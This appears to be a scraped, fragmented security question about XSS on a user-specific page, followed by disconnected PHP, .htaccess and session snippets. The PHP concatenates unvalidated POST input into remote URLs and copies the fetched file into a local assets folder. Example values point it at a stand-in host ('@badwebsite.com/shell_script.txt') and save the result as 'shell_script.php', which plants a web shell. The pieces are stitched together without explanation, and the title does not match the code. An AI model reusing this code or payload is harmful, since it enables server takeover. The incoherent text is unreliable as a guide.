How much harm can a user do with xss on a page unique to them?

$_POST['username'] = '@not-the-site-you-want.com/bad_stuff.html';
$file = 'http://www.example.com' . $_POST['username'];

$username = $_POST['username'];
// We expect 'hash' to contain '/avatar/205e460b479e2e5b48aec07710c08d50'
// See @SilverlightFox's comments below for more information.
$image = 'http://www.gravatar.com' . $_POST['hash'];
if (file_exists($file)) {
    // Now we have the image stored on our local system
    copy($image, 'assets/' . $username);
}

$_POST['username'] = 'shell_script.php';
$_POST['hash'] = '@badwebsite.com/shell_script.txt';

# Turns on Mod-Rewrite Engine
# ----------------------------------------------------------------
RewriteEngine on 
RewriteCond %{REQUEST_FILENAME} !-d
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-l

# Pages 
# ----------------------------------------------------------------
RewriteRule ^([^/]+)/?$ WHATEVER-PAGE.php?id=$1 [QSA,L]

$_SESSION['uid'] = $raw['user_id'];